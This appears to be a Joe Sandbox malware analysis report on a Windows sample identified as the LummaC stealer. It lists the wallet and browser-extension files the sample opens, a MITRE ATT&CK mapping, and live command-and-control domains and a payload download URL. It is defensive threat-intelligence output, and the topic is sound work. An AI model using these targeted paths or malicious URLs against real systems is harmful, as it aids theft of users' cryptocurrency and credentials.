Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	371 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
https://necklacedmny.store/api	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://necklacedmny.store/9	file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/)	file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/apil	file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/api4	file.exe, 00000001.00000003.1675974639.00000000052F6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1676204583.00000000052F7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1677263235.00000000052F6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exee	file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/$$	file.exe, 00000001.00000003.1708713954.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microsoftG	file.exe, 00000001.00000003.1692025387.0000000000790000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005200673.0000000000799000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.0000000000791000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.0000000000790000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.000000000078F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exee&	file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/q	file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiN	file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000001.00000003.1694272027.0000000005612000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000001.00000003.2006011168.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005676397.00000000052F9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, file.exe, 00000001.00000003.1899337347.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006083231.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1694195380.0000000005308000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899354200.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1693235163.0000000005308000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1691915283.0000000005303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/api.default-release/key4.dbPK	file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/kK	file.exe, 00000001.00000003.2006011168.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005676397.00000000052F9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/off/def.exe	file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/I	file.exe, 00000001.00000003.1692025387.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apit	file.exe, 00000001.00000003.1675534325.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544764
Start date and time:	2024-10-29 17:58:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@5/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 7664 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:59:13	API Interceptor	566981x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://get.hidrive.com/api/ZVDVVnH5/file/fgWacQquUMk6LQc3wqBJEz	Get hash	malicious	Unknown	Browse	162.159.140.237
	https://hhicorporation.start.page/	Get hash	malicious	Unknown	Browse	104.18.24.210
	https://www.directo.com.bo/dok	Get hash	malicious	Unknown	Browse	104.21.33.160
	https://www.directo.com.bo/dok	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	INVOICE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	INVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	zmap.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	172.65.204.32
